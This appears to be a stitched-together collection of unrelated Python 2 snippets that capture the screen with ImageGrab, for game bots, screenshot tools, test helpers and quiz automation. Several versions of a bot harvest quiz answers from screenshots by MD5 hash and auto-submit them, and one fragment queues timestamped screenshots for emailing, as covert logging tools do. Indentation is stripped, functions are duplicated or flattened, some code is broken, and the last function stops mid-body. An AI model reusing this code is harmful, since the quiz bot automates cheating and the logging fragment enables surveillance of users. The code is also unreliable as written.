def chkimg(imgname,check = 5,hwnd = None):
global g_img_x,g_img_y
#比較に使う画像のロード
comimg = cv2.imread(imgname,0)
#キャプチャ
if hwnd != None:
rect = winxpgui.GetWindowRect(hwnd)
size = winxpgui.GetClientRect(hwnd)
cap = [rect[0],rect[1],size[2]+rect[0],size[3]+rect[1]]
baseimg = ImageGrab.grab(cap)
else:
baseimg = ImageGrab.grab()
#画像をグレースケールに変換
npimg = np.asarray(baseimg)
capimg = cv2.cvtColor(npimg,cv2.COLOR_BGR2GRAY)
#座標検索
retXY = compareImg(comimg,capimg,check)
#見つかった場合座標を返す
#なかった場合-1,-1を返す
if(retXY != None):
g_img_x = retXY[0]
g_img_y = retXY[1]
return(True)
else:
return(False)
def hit():
l, t = L + 21, T + 335
r, b = l + 50, t + 50
# ImageGrab.grab((l, t, r, b)).save('hit_t.png')
hash_val1 = get_hash(ImageGrab.grab((l, t, r, b)))
hash_val2 = get_hash(Image.open('hit.png'))
dis = hamming_dist(hash_val1, hash_val2)
if dis < 50:
print 'hit', dis
# return True
autopy.mouse.move(l + 25, t + 25)
autopy.mouse.click()
time.sleep(0.5)
l1, t1 = L + 342, T + 343
r1, b1 = l1 + 53, t1 + 43
hash_val11 = get_hash(ImageGrab.grab((l1, t1, r1, b1)))
hash_val21 = get_hash(Image.open('can_hit.png'))
dis1 = hamming_dist(hash_val11, hash_val21)
# ImageGrab.grab((l1, t1, r1, b1)).save('can_hit_t.png')
print 'can_hit', dis1
if dis1 < 50: # judge if can hit
autopy.mouse.move(L + 280, T + 650) # click pet
for i in xrange(13):
autopy.mouse.click()
time.sleep(1.0)
autopy.mouse.move(L + 280, T + 504) # click gold
autopy.mouse.click()
time.sleep(0.2)
return 2
return 1
return 0
def producer(out_q):
shots=200
time.sleep(3)
#info('producer line')
with open("tmp.bin","wb") as w:
print "start gather"
global original
original=(640,359)
printscreen_pil=ImageGrab.grab().thumbnail(original, Image.ANTIALIAS)
last=time.time();
for i in xrange(frames):
difference=(time.time()-last)
while difference<0.08:
difference =(time.time()-last)
time.sleep(0.01)
last=time.time()
print difference
printscreen_pil=ImageGrab.grab()
printscreen_pil.thumbnail(original, Image.LINEAR)
image_data = bytearray([z for l in printscreen_pil.getdata() for z in l ])
w.write(image_data)
shots-=1
#print shots
print "done gather"
def OnLeftUp(self, evt):
self.endX = evt.X
self.endY = evt.Y
if self.dlg:
self.dlg.Destroy()
self.dlg = None
if self.beginX != self.endX and self.beginY != self.endY:
im = None
if self.endX < self.beginX:
if self.endY < self.beginY:
im = ImageGrab.grab((self.endX, self.endY, self.beginX, self.beginY))
else:
im = ImageGrab.grab((self.endX, self.beginY, self.beginX, self.endY))
else:
if self.endY < self.beginY:
im = ImageGrab.grab((self.beginX, self.endY, self.endX, self.beginY))
else:
im = ImageGrab.grab((self.beginX, self.beginY, self.endX, self.endY))
self.dlg = SafeSaveFileDialog(self)
if self.dlg.ShowModal() == wx.ID_OK :
self.dlg.Save(im)
else:
self.dlg.Destroy()
self.dlg = None
def questing_fight(self):
self.print_log("start fighting")
sequence = 0
img = ImageGrab.grab()
while not (image_manager.is_in_quest(img) or self.grinding.check_popup_close(img)):
keyboard_send("0")
#~ time.sleep(0.001)
if sequence%4==0:
keyboard_send("K")
sequence += 1
if (sequence>15):
keyboard_send(KEYCODE_SPACE)
if (sequence>20):
sequence = 0
if not image_manager.is_in_fighting(img):
if image_manager.is_in_quest_complete(img):
self.print_log("quest complete")
break
if self.grinding.check_popup_close(img):
self.print_log("popup woi!")
break
img = ImageGrab.grab()
self.print_log("done_fighting")
time.sleep(3)
def wide_screengrab():
config.wide_scan = False
if config.preset == "aspen":
for stuff in config.aspen_wide_box:
im = ImageGrab.grab(stuff)
config.current_pixel = str(np.asarray(im))
if config.current_pixel in config.aspen:
config.test = stuff
print(config.test)
config.wide_scan = True
print('It matches!')
break
elif config.current_pixel not in config.aspen:
print("It doesnt match")
else:
print("error")
elif config.preset == "acacia":
for stuff in config.acacia_wide_box_down:
im = ImageGrab.grab(stuff)
config.current_pixel = str(np.asarray(im))
if config.current_pixel in config.acacia:
config.test = stuff
print(config.test)
config.wide_scan = True
print('It matches!')
break
elif config.current_pixel not in config.aspen:
print(config.current_pixel)
print("It doesnt match")
else:
print("error")
def inspect(self):
pointer = self.cursor_location
bbox = (pointer.x, pointer.y, pointer.x+1, pointer.y+1)
ss = ImageGrab.grab(bbox)
pix = ss.load()
print "At %s, color is %r" % (pointer, pix[0,0])
if self.main_bbox:
# Find the relative point of this.
relative = self.to_relative(pointer)
reversed = self.to_absolute(relative)
print " Relative: %s Reversed: %s" % (relative, reversed)
prev = self.prev_inspect
if prev:
pss = ImageGrab.grab((prev.x, prev.y, prev.x+1, prev.y+1))
ppix = pss.load()
print "Previous spot %s is now %r" % (self.prev_inspect, ppix[0,0])
if self.main_bbox:
# Find the relative point of this.
relative = self.to_relative(prev)
reversed = self.to_absolute(relative)
print " Relative: %s Reversed: %s" % (relative, reversed)
self.prev_inspect = pointer
def playGame():
global game_over
# Click on play game on start screen
mousePos(play_game)
leftClick()
# Grab the first block
# Little tricky because right after screen transition
time.sleep(1.2)
im = ImageGrab.grab(box_cur_block)
color = im.getpixel(cur_block)
cnt = 0
tot = 0
while True:
if game_over:
break
time.sleep(.3) # required, for keeping the game in sync
prev_color = color
if color in colors:
piece = colors[color]
tot += 1
print "Saw a " + piece
else:
print "Unknown color!"
break
# Grab the next block
im = ImageGrab.grab(box_next_block)
color = im.getpixel(next_block)
# HACK - checking for game over
# if the next block has not changed for five times straight
# the game is already over
if color == prev_color:
cnt += 1
if cnt > 5:
game_over = True
else:
cnt = 0
si,sc,lr = pos(piece)
print si,sc,lr
guideBlock(piece, si, sc)
updateGrid(piece,si,sc,lr)
def takingScreenshot():
img = grab.grab()
img = img.resize((800, 600), Image.BICUBIC)
#img = img.convert('LA') #just needed if the image should be transformed in a grayscaled image
global enemySide
global mySide
global turn
global enemy
global me
global enemy_mana
global my_mana
global stack
global my_Hand
global enemy_Hand
enemySide = img.crop((197, 177, 605, 279))
mySide = img.crop((197 , 281, 605, 383))
turn = img.crop((614, 248, 685, 292))
enemy = img.crop((361, 48, 442, 167))
enemy.save(path('images/tests/enemy.png'))
me = img.crop((361, 394, 442, 513))
enemy_mana = img.crop((490, 26, 528, 50))
my_mana = img.crop((508, 543, 546, 567))
stack = img.crop((118, 169, 149, 411))
my_Hand = img.crop((246, 518, 483, 591))
enemy_Hand = img.crop((246, 0, 483, 44))
def as_image_simple(self):
"""
This uses ImageGrab to return a screenshot, but it only works
when the image is visible onscreen.
@return: Image.Image
"""
return ImageGrab.grab(self.bounds)
def capture_image(self, savefilename):
screensize = self.get_screen_size()
# The cropbox will take care of making sure our image is within
# screen boundaries.
cropbox = CropBox(topleft=Point(0, 0), bottomright=screensize, min=Point(0, 0), max=screensize)
self.logger.debug(cropbox)
if os.name == "posix":
screengrab = gtk.gdk.Pixbuf(gtk.gdk.COLORSPACE_RGB, False, 8, screensize.x, screensize.y)
screengrab.get_from_drawable(
gtk.gdk.get_default_root_window(), gtk.gdk.colormap_get_system(), 0, 0, 0, 0, screensize.x, screensize.y
)
save_options_dict = {}
img_format = self.subsettings["General"]["Screenshot Image Format"]
img_format.lower()
img_quality = to_unicode(self.subsettings["General"]["Screenshot Image Quality"])
if img_format in IMG_SET:
self.subsettings["General"]["Screenshot Image Format"] = "jpeg"
save_options_dict = {"quality": img_quality}
screengrab.save(savefilename, self.subsettings["General"]["Screenshot Image Format"], save_options_dict)
if os.name == "nt":
image_data = ImageGrab.grab(
(cropbox.topleft.x, cropbox.topleft.y, cropbox.bottomright.x, cropbox.bottomright.y)
)
image_data.save(savefilename, quality=self.subsettings["General"]["Screenshot Image Quality"])
def GetScreenImage(self, FilePath) :
"""
Capture a full screen image into the given _FilePath_.
The given _FilePath_ must be relative to Robot Framework output directory,
otherwise the embedded image will not be shown in the log file.
"""
#
# Check that PIL is installed
#
if ImageGrab == None :
raise RuntimeError("Python Imaging Library (PIL) is not installed, but is required for GetScreenImage")
#
# Check for a valid FilePath and make sure the directories exist
#
if FilePath and os.path.isabs(FilePath):
raise RuntimeError("Given FilePath='%s' must be relative to Robot outpudir" % FilePath)
fullFilePath = os.path.join(self._OutputDir, FilePath)
if not os.path.exists(os.path.split(fullFilePath)[0]):
os.makedirs(os.path.split(fullFilePath)[0])
self._info("GetScreenImage(FilePath=%s)" % fullFilePath)
#
# Capture and save the screen image of the whole screen
#
GrabbedImage = ImageGrab.grab() # store screenshot as "RGB" Image
GrabbedImage.save(fullFilePath) # PIL evaluates extension
#
# Embed the screenshot in the Robot Framework log file
#
self._html('<td></td></tr><tr><td colspan="3"><a href="%s">'
'<img src="%s" width="700px"></a></td></tr>' % (FilePath, FilePath))
def check_target(self):
stack = {}
hashC1 = self.get_hash(Image.open("C1.png"))
hashC2 = self.get_hash(Image.open("C2.png"))
hashC3 = self.get_hash(Image.open("C3.png"))
hashC4 = self.get_hash(Image.open("C4.png"))
for x in range(0,20,1):
target_screen = ImageGrab.grab((725,237+x*20,781,254+x*20))
hashScreen = get_hash(target_screen)
distC1 = hamming_dist(hashScreen, hashC1)
distC2 = hamming_dist(hashScreen, hashC2)
distC3 = hamming_dist(hashScreen, hashC3)
distC4 = hamming_dist(hashScreen, hashC4)
if distC1<10:
stack.append[x:1]
elif distC2<10:
stack.append[x:2]
elif distC3<10:
stack.append[x:3]
elif distC4<10:
stack.append[x:4]
else:
stack.append[x:0]
if max(stack.items(), key=lambda x:x[1])[1]>=1:
return max(stack.items(), key=lambda x:x[1])[0]
def getcustomer(n):
counter = ImageGrab.grab((x_pad+tables[n][0], y_pad+64, \
x_pad+tables[n][1], y_pad+65)).convert('L').tostring()
for food, wish in order.iteritems():
if wish in counter:
return food
return None
def findSharks():
bmp= ImageGrab.grab()
#rage=np.array(bmp)
#bmp.format='png'
#plt.imshow(rage)
bmp.save('rage.bmp')
bmp.show()
def getSeatFour():
im = ImageOps.grayscale(ImageGrab.grab
((xPad+328,yPad+60,xPad+391,yPad+76)))
a = array(im.getcolors())
## im.save(os.getcwd() + '\\SeatFourBubble.png', 'PNG')
print 'table 4 bubble = %d' % a.sum()
return a.sum()
def grab():
box = (x_pad + 1,y_pad+1,x_pad+640,y_pad+480)
im = ImageOps.grayscale(ImageGrab.grab(box))
a = array(im.getcolors())
a = a.sum()
print a
return a
def questing_act(self):
img = ImageGrab.grab()
self.grinding.check_popup_close()
if image_manager.is_in_quest(img):
self.print_log("act: quest")
self.next_node_search()
elif image_manager.is_in_quest_complete(img):
self.restart_or_next()
elif image_manager.is_in_fighting(img):
self.questing_fight()
elif image_manager.is_in_quest_out_of_energy(img):
self.print_log("act: out of energy")
self.print_log("Warning! I will grind arena in 4")
mouse_click(938,318)
time.sleep(4)
self.grinding.loop()
else:
self.print_log("act: other")
time.sleep(5)
for x in range(0,5):
mouse_click(500,383)
time.sleep(0.2)
def gold(idx):
l, t = L + 19, T + 261
r, b = l + 53, t + 44
# ImageGrab.grab((l, t, r, b)).save('gold_t.png')
hash_val1 = get_hash(ImageGrab.grab((l, t, r, b)))
hash_val2 = get_hash(Image.open('gold.png'))
dis = hamming_dist(hash_val1, hash_val2)
if dis < 50:
print 'gold', dis
# return True
autopy.mouse.move(l + 25, t + 25)
autopy.mouse.click()
time.sleep(0.5)
if idx < 5:
autopy.mouse.move(L + 394, T + 725) # help
autopy.mouse.click()
time.sleep(0.5)
# may be help is full, should try rob to done task, so it will not close immediately
autopy.mouse.move(L + 163, T + 725) # rob
autopy.mouse.click()
time.sleep(0.5)
autopy.mouse.move(L + 506, T + 234) # close, if can not rob, should manual close
autopy.mouse.click()
return True
return False
def Screenshot():
img=ImageGrab.grab()
saveas=os.path.join(time.strftime('%Y_%m_%d_%H_%M_%S')+'.png')
img.save(saveas)
if LOG_SENDMAIL == True:
addFile = str(os.getcwd()) + "\\" + str(saveas)
LOG_TOSEND.append(addFile) # add to the list
def grab():
box = (c,b,z,q)
im = ImageOps.grayscale(ImageGrab.grab(box))
a = array(im.getcolors())
a = a.sum()
print a
return a
def grab_boxes(panel_list, boxes): print "scraping screen" # # I'll probably forget how the fudge this works.. # # # This all also return the letters list for some reason # Bad design loc = os.getcwd() + '\\letters\\' newBoxData = [] for i in boxes: im = ImageGrab.grab(i) a = array(im.getdata()) newBoxData.append(a.sum()) print "Checking dictionary for appropriate keys\n\n" for i in range(6): # looks at the new grabs. if, sum for box1 (for example) not in dict.keys # Add key and prompt for value if newBoxData[i] not in panel_list[i]: box_num = i+1 out_string = "please enter letter for box %d:" % box_num new_letter = raw_input(out_string) panel_list[i][newBoxData[i]] = new_letter save_dicts(panel_list) return gen_string_from_grabs(panel_list, newBoxData)
def run_osra(osra):
sdf = " "
filedes, filename = tempfile.mkstemp(suffix='.png')
if os.name=="posix":
import pygtk
pygtk.require('2.0')
import gtk, gobject
clipboard = gtk.clipboard_get()
image=clipboard.wait_for_image()
if not image:
return sdf
try:
image.save(filename,"png")
except:
return sdf
else:
import ImageGrab
image = ImageGrab.grabclipboard()
if not image:
return sdf
try:
image.save(filename)
except:
return sdf
try:
stdout, stdin, stderr = popen2.popen3('"%s" -f sdf %s' % (osra, filename))
except:
os.remove(filename)
return sdf
sdf = stdout.read()
#os.remove(filename)
return sdf
def eventFinder():
box = (200,500,884,750)
im = ImageGrab.grab(box)
if specialChecker(im):
print 'Special spotted!\n'
p = Process(target= multiClick())
p.start()
p.join()
if bubbleCheck(im):
print "A bubble has appeared!\n"
leftClick()
## if specialChecker(im):
## print 'Special spotted!\n'
## for i in range(15):
## leftClick()
if fuzzCheck(im):
leftClick()
if specialChecker(im):
print 'Special spotted!\n'
if spinCheck(im):
if isSpinning():
launcher()
print 'searching...'
def screenGrab():
box2 = (x_pad+1,y_pad+1,x_pad+522,y_pad+20)
#im = ImageGrab.grab(box)
#im.save(os.getcwd() + '\\full_snap__' + str(int(time.time())) '.png', 'PNG')
im2 = ImageGrab.grab(box2)
im2.save(os.getcwd() + '\\last_test.png', 'PNG')
return im2
def canShop():
im = ImageGrab.grab()
expectedVal = (242,227,110)
inVal = im.getpixel((695,385))
if expectedVal == inVal:
return True
def screenshot_RD():
pool=[]
screenshot=ImageGrab.grab()
rescale=float(screenshot.size[1])/1080
aspect = 16*screenshot.size[1]/screenshot.size[0]
if aspect not in hero_group_pixel_offsets_RD:
tkMessageBox.showerror("Error","Aspect Ratio not supported")
return
for group in range(6):
for hero_number_within_group in range(len(hero_group_table[group])):
blockX,blockY=hero_group_pixel_offsets_RD[aspect][group]
offset = 64 if aspect==12 else 73 # The 4:3 icons are smaller
image=screenshot.crop((int((blockX+offset*(hero_number_within_group%7)+2)*rescale), int((blockY+offset*(hero_number_within_group/7))*rescale),\
int((blockX+offset*(hero_number_within_group%7)+51)*rescale), int((blockY+offset*(hero_number_within_group/7)+51)*rescale)))
#image.show()
brightness=max(ImageStat.Stat(image).mean)
hero_id = hero_group_table[group][hero_number_within_group]
if heroes[hero_id]=="Spectre":
brightness+=25 # Spectre is super dark
elif heroes[hero_id]=="Puck" or heroes[hero_id]=="Io": # Puck and Io are very bright
brightness-=10
if brightness>45:
pool.append(hero_id)
if brightness>35 and brightness<55:
print heroes[hero_id],brightness
if len(pool)>24 or len(pool)<14: tkMessageBox.showwarning("Warning","Warning! Number of heroes detected ("+str(len(pool))+") is wrong!")
return pool
def _GrabWindowImage(self, WindowTitle, Text, fullFilePath):
pos_x = self._AutoIt.WinGetPosX(WindowTitle, Text)
pos_y = self._AutoIt.WinGetPosY(WindowTitle, Text)
width = self._AutoIt.WinGetPosWidth(WindowTitle, Text)
height = self._AutoIt.WinGetPosHeight(WindowTitle, Text)
GrabbedImage = ImageGrab.grab((pos_x, pos_y, width, height)) # store screenshot as "RGB" Image
GrabbedImage.save(fullFilePath) # PIL evaluates extension
def screenGrab(): #upper left and lower right bounding box box = (x_pad+1,y_pad+1, x_pad+500,y_pad+700) #Grab image from screen image = ImageGrab.grab(box) #image.save(os.getcwd() + '\\full_snap__' + str(int(time.time())) + '.png', 'PNG') return image
def run(self):
"""
Main thread procedure.
"""
log = logging.getLogger("Screenshots.Run")
# If PIL is not installed, I abort execution. This is done in order to
# not have PIL as a forced dependency.
if not IS_PIL:
return False
img_counter = 0
img_last = None
log.info("Started taking screenshots.")
while self._do_run:
img_current = ImageGrab.grab()
if img_last:
if self._equal(img_last, img_current):
time.sleep(SHOT_DELAY)
continue
img_counter += 1
save_at = os.path.join(self.save_path, "shot_%s.jpg" % img_counter)
img_current.save(save_at)
log.debug("Screenshot saved at \"%s\"." % save_at)
img_last = img_current
time.sleep(SHOT_DELAY)
return True
def getProcess():
fullsc = ImageGrab.grab()
saveProcess = fullsc.crop(Pcbox).save('tmp/Process.jpg', 'JPEG') #截图，保存
picPc = open('tmp/Process.jpg', 'rb')
Pmd5 = hashlib.md5(picPc.read()).hexdigest().upper()
picPc.close()
if Pmd5 != Pcmd5:
click(655, 770) #点击下一题
pickit() #查题循环
else:
wdict()
print 'finish'
def Pickit():
def picmath(box,filepath):
savepic = fullsc.crop(box).save(filepath,'JPEG')
pic = open(filepath,'rb')
md5 = hashlib.md5(pic.read()).hexdigest().upper()
pic.close()
return md5
time.sleep(1.5) #减速 这里数值可以增大
clickClient(getbrow,(465,580)) ##点击A
clickClient(getbrow,(505,715)) ##提交答案
time.sleep(1.5) #减速等待
fullsc = ImageGrab.grab()
Qmd5 = picmath(Qbox,'tmp/Qbox.jpg')
#为解决相同题目產生錯誤的问题，加入QBox2，再生成MD5
Q2md5 = picmath(Q2box,'tmp/Qbox2.jpg')
AllQmd5 = hashlib.md5('%s%s' %(Qmd5,Q2md5)).hexdigest().upper()
#截图，保存，提交答案之後查看正確答案
Tipsmd5 = picmath(Tipsbox,'tmp/Tips.JPG')
if Tipsmd5 == Amd5:
hashdict[Qmd5] = picmath(Abox,'tmp/A.jpg')
hashdict_v2[AllQmd5] = picmath(Abox,'tmp/A.jpg')
elif Tipsmd5 == Bmd5:
hashdict[Qmd5] = picmath(Bbox,'tmp/B.jpg')
hashdict_v2[AllQmd5] = picmath(Bbox,'tmp/B.jpg')
elif Tipsmd5 == Cmd5:
hashdict[Qmd5] = picmath(Cbox,'tmp/C.jpg')
hashdict_v2[AllQmd5] = picmath(Cbox,'tmp/C.jpg')
elif Tipsmd5 == Dmd5:
hashdict[Qmd5] = picmath(Dbox,'tmp/D.jpg')
hashdict_v2[AllQmd5] = picmath(Dbox,'tmp/D.jpg')
else:
print "no answer! no tips! cant catch!"
#判斷當前進度
Pmd5 = picmath(Pcbox,'tmp/Process.jpg')
if Pmd5 != Pcmd5 :
clickClient(getbrow,(655,770)) #点击下一题
Pickit() #查题循环
else:
wdict('hashdata_v1.pkl',hashdict)
wdict('hashdata_v2.pkl',hashdict_v2)
print "finish, next chapter!"
nextclass()
def Pickit():
def picmath(box, filepath):
savepic = fullsc.crop(box).save(filepath, 'JPEG')
pic = open(filepath, 'rb')
md5 = hashlib.md5(pic.read()).hexdigest().upper()
pic.close()
return md5
time.sleep(0.5) #减速 这里数值可以增大
clickClient(getbrow, (465, 580)) ##点击A
clickClient(getbrow, (505, 715)) ##提交答案
time.sleep(0.5) #减速等待
fullsc = ImageGrab.grab()
Qmd5 = picmath(Qbox, 'tmp/Qbox.jpg')
#为解决相同题目產生錯誤的问题，加入QBox2，生成MD5
Q2md5 = picmath(Q2box, 'tmp/Qbox2.jpg')
#正確答案框
Tipsmd5 = picmath(Tipsbox, 'tmp/Tips.JPG')
if Tipsmd5 == Amd5:
dict1[Qmd5] = picmath(Abox, 'tmp/A.jpg')
dict2_fpto[Q2md5] = picmath(Abox, 'tmp/A.jpg')
elif Tipsmd5 == Bmd5:
dict1[Qmd5] = picmath(Bbox, 'tmp/B.jpg')
dict2_fpto[Q2md5] = picmath(Bbox, 'tmp/B.jpg')
elif Tipsmd5 == Cmd5:
dict1[Qmd5] = picmath(Cbox, 'tmp/C.jpg')
dict2_fpto[Q2md5] = picmath(Cbox, 'tmp/C.jpg')
elif Tipsmd5 == Dmd5:
dict1[Qmd5] = picmath(Dbox, 'tmp/D.jpg')
dict2_fpto[Q2md5] = picmath(Dbox, 'tmp/D.jpg')
else:
print 'no answer! no tips! cant catch!'
#判斷當前進度
Pmd5 = picmath(Pcbox, 'tmp/Process.jpg')
if Pmd5 != Pcmd5:
clickClient(getbrow, (655, 770)) #点击下一题
Pickit() #查题循环
else:
if '782D92C2D53C89E7E10955A6F0349567' in dict2_fpto: #判断、删除空白图片的KEY
del dict2_fpto['782D92C2D53C89E7E10955A6F0349567']
wdict('dict1.pkl', dict1)
wdict('dict2_fpto.pkl', dict2_fpto)
print 'finish'
def getProcessAns():
Pcmd5 = '54F84561323AE11EE1AA1C28290D7A17'
fullsc = ImageGrab.grab()
saveProcess = fullsc.crop(Pcbox).save('tmp/tmpProcess.jpg','JPEG') #截图，保存
picPc = open('tmp/tmpProcess.jpg','rb')
Pmd5 = hashlib.md5(picPc.read()).hexdigest().upper()
picPc.close()
if Pmd5 != Pcmd5 :
click(655,770) #点击下一题
AutoAnswer() #查题循环
else:
print 'AutoAnswer finish'
nextchapter()
def screenGrab():
box = (1936,46,2833,529)
im = ImageGrab.grab()
filename = os.getcwd() + '\\full_snap__' + str(int(time.time())) + '.png'
im.save(filename, 'PNG')
large_image = cv2.imread(filename)
small_image = cv2.imread(os.getcwd() + '\\templates\\top-left.png')
method = cv.CV_TM_SQDIFF_NORMED
result = cv2.matchTemplate(large_image, small_image, method)
print cv2.minMaxLoc(result)
def pickit():
time.sleep(0.5) #减速等待
click(465, 580) ##点击A
click(505, 715) ##提交答案
time.sleep(0.5) #减速等待
fullsc = ImageGrab.grab() ##截全圖，因爲是pick工作，所以提交答案再截圖
saveQ = fullsc.crop(Qbox).save('tmp/Qbox.jpg', 'JPEG')
picQ = open('tmp/Qbox.jpg', 'rb')
Qmd5 = hashlib.md5(picQ.read()).hexdigest().upper()
picQ.close()
saveQ2 = fullsc.crop(Q2box).save('tmp/Qbox2.jpg', 'JPEG')
picQ2 = open('tmp/Qbox2.jpg', 'rb')
Q2md5 = hashlib.md5(picQ.read()).hexdigest().upper()
picQ2.close()
#为解决相同题目问题，加入QBox2，再生成MD5
AllQmd5 = '%s%s' % (Qmd5, Q2md5)
AllQmd5 = hashlib.md5(AllQmd5).hexdigest().upper()
wAllQmd5 = '%s' % AllQmd5
saveTips = fullsc.crop(Tipsbox).save('tmp/Tips.JPG',
'JPEG') #截图，保存，提交答案之後查看正確答案
Tips = open('tmp/Tips.JPG', 'rb')
Tipsmd5 = hashlib.md5(Tips.read()).hexdigest().upper()
if Tipsmd5 == Amd5:
saveA = fullsc.crop(Abox).save('tmp/A.jpg', 'JPEG')
pic = open('tmp/A.jpg', 'rb')
md5w()
elif Tipsmd5 == Bmd5:
saveB = fullsc.crop(Bbox).save('tmp/B.jpg', 'JPEG')
pic = open('tmp/B.jpg', 'rb')
md5w()
elif Tipsmd5 == Cmd5:
saveC = fullsc.crop(Cbox).save('tmp/C.jpg', 'JPEG')
pic = open('tmp/C.jpg', 'rb')
md5w()
elif Tipsmd5 == Dmd5:
saveD = fullsc.crop(Dbox).save('tmp/D.jpg', 'JPEG')
pic = open('tmp/D.jpg', 'rb')
md5w()
else:
print 'no answer!'
getProcess()
def AutoAnswer():
time.sleep(0.15) #截图前等待
fullsc = ImageGrab.grab() ##截全圖，因爲是pick工作，所以提交答案再截圖
saveQ = fullsc.crop(Qbox).save('tmp/tmpQ.jpg', 'JPEG') #截图，保存問題
picQ = open('tmp/tmpQ.jpg', 'rb')
Qmd5 = hashlib.md5(picQ.read()).hexdigest().upper() ##計算題目的MD5
wQmd5 = '%s' % Qmd5
getanswer = hashdata.get(wQmd5)
#计算所有答案的md5
saveA = fullsc.crop(Abox).save('tmp/tmpA.jpg', 'JPEG')
saveB = fullsc.crop(Bbox).save('tmp/tmpB.jpg', 'JPEG')
saveC = fullsc.crop(Cbox).save('tmp/tmpC.jpg', 'JPEG')
saveD = fullsc.crop(Dbox).save('tmp/tmpD.jpg', 'JPEG')
picA = open('tmp/tmpA.jpg', 'rb')
Amd5 = hashlib.md5(picA.read()).hexdigest().upper()
picA.close()
picB = open('tmp/tmpB.jpg', 'rb')
Bmd5 = hashlib.md5(picB.read()).hexdigest().upper()
picB.close()
picC = open('tmp/tmpC.jpg', 'rb')
Cmd5 = hashlib.md5(picC.read()).hexdigest().upper()
picC.close()
picD = open('tmp/tmpD.jpg', 'rb')
Dmd5 = hashlib.md5(picD.read()).hexdigest().upper()
picD.close()
if wQmd5 in hashdata: #check题目是否存在
if getanswer == Amd5:
click(465, 580) #A
click(505, 715) #post
elif getanswer == Bmd5:
click(465, 605)
click(505, 715) #post
elif getanswer == Cmd5:
click(465, 630)
click(505, 715) #post
elif getanswer == Dmd5:
click(465, 655)
click(505, 715) #post
else:
print 'no answer!'
else:
print 'no this question in hashdict!'
click(655, 770) #next
time.sleep(0.16)
getProcess()
def screenGrab():
"""
All coordinates assume a screen resolution of 1280x1024, and Chrome
maximized with the Bookmarks Toolbar enabled.
Down key has been hit 4 times to center play area in browser.
x_pad = 156
y_pad = 345
Play area = x_pad+1, y_pad+1, 796, 825
"""
box = (x_pad+1, y_pad+1, 796, 825)
save_directory = os.getcwd()
time_stamp = int(time.time())
image_file_name = '{}\\full_snap__{}.png'.format(save_directory, time_stamp)
im = ImageGrab.grab(box)
im.save(image_file_name, 'PNG')
def pickit():
time.sleep(0.2) #减速等待
click(465, 580) ##点击A
time.sleep(0.2) #减速等待
click(505, 715) ##提交答案
time.sleep(0.2) #减速等待
fullsc = ImageGrab.grab() ##截全圖，因爲是pick工作，所以提交答案再截圖
saveQ = fullsc.crop(Qbox).save('tmp/saveQ.jpg', 'JPEG') #截图，保存問題
picQ = open('tmp/saveQ.jpg', 'rb')
Qmd5 = hashlib.md5(picQ.read()).hexdigest().upper() ##計算題目的MD5
wQmd5 = '%s' % Qmd5
saveTips = fullsc.crop(Tipsbox).save('tmp/Tips.JPG',
'JPEG') #截图，保存，提交答案之後查看正確答案
Tips = open('tmp/Tips.JPG', 'rb')
Tipsmd5 = hashlib.md5(Tips.read()).hexdigest().upper()
def md5w():
md5 = hashlib.md5(pic.read()).hexdigest().upper() ##計算答案的MD5
wmd5 = '%s' % md5
hashdict[wQmd5] = wmd5
pic.close()
if Tipsmd5 == Amd5:
saveA = fullsc.crop(Abox).save('tmp/A.jpg', 'JPEG')
pic = open('tmp/A.jpg', 'rb')
md5w()
elif Tipsmd5 == Bmd5:
saveB = fullsc.crop(Bbox).save('tmp/B.jpg', 'JPEG')
pic = open('tmp/B.jpg', 'rb')
md5w()
elif Tipsmd5 == Cmd5:
saveC = fullsc.crop(Cbox).save('tmp/C.jpg', 'JPEG')
pic = open('tmp/C.jpg', 'rb')
md5w()
elif Tipsmd5 == Dmd5:
saveD = fullsc.crop(Dbox).save('tmp/D.jpg', 'JPEG')
pic = open('tmp/D.jpg', 'rb')
md5w()
else:
print 'no answer!'
getProcess()
def save_graph():
import ImageGrab #windows only, for now
from tkFileDialog import asksaveasfilename as save
canvas = turtle.getscreen().getcanvas()
turtle.update()
turtle.listen()
canvas.update()
x0 = canvas.winfo_rootx()
y0 = canvas.winfo_rooty()
x1 = x0 + canvas.winfo_width()
y1 = y0 + canvas.winfo_height()
turtle.listen()
image = ImageGrab.grab((x0, y0, x1, y1))
filename = save(defaultextension='.png')
image.save(filename, "PNG")
showinfo("File Saved", ("File successfully saved as %s" % filename))
def getProcess():
fullsc = ImageGrab.grab()
saveProcess = fullsc.crop(Pcbox).save(wokingp + 'Process.jpg',
'JPEG') #截图，保存
picPc = open(wokingp + 'Process.jpg', 'rb')
Pmd5 = hashlib.md5(picPc.read()).hexdigest().upper()
picPc.close()
if Pmd5 != Pcmd5:
click(655, 770) #点击下一题
pickit() #查题循环
else:
hashdict.update(oldata)
output = open('hashdict.pkl', 'wb') #全部题目记录好了，然后就写入文件
pickle.dump(hashdict, output) ##寫入HASH至文件
print 'finish'
def snapshoot(self):
white = (255, 255, 255)
x0 = self.cv.winfo_rootx()
y0 = self.cv.winfo_rooty()
x1 = x0 + self.cv.winfo_width()
y1 = y0 + self.cv.winfo_height()
im = ImageGrab.grab((x0, y0, x1, y1))
draw = ImageDraw.Draw(im)
draw.text((50, 480), "flowGlance|A traffic monitor for Opendaylight",
(0, 0, 0))
#self.snapshoot = Image.new("RGB", (800, 500), white)
#self.snapshootd=ImageDraw.Draw(self.snapshoot)
times = strftime('%Y-%m-%d_%H_%M_%S')
self.filename = 'snapshot\\flowGlance' + times + '.bmp'
im.save(self.filename)
def click(self, x, y,
won): #Returns True if you are still alive. False if not...
mousemacro.move(546 + (52 * x) + 26, 127 + (52 * y) + 26)
mousemacro.click()
if not won:
self.sleep(0.1)
mousemacro.move(50, 50)
mousemacro.click()
screen = ImageGrab.grab()
imdata = screen.getdata()
if imdata[925 + (480 * 1920)][0] == 240 and imdata[925 + (
480 * 1920)][1] == 240 and imdata[925 +
(480 * 1920)][2] == 240:
raise clickedMine(
"Tried to click a mine!") #Make a specific error maybe?
return False
def pickit():
click(465,580) ##点击A
click(505,715) ##提交答案
time.sleep(0.2)
fullsc = ImageGrab.grab() ##截全圖，因爲是pick工作，所以提交答案再截圖
saveQ = fullsc.crop(Qbox).save(wokingp + 'saveQ.jpg','JPEG') #截图，保存
picQ = open(wokingp +'saveQ.jpg','rb')
Qmd5 = hashlib.md5(picQ.read()).hexdigest().upper() ##計算題目Q的MD5
saveTips = fullsc.crop(Tipsbox).save(wokingp + 'Tips.JPG','JPEG') #截图，保存，提交答案之後查看正確答案
Tips = open(wokingp +'Tips.JPG','rb')
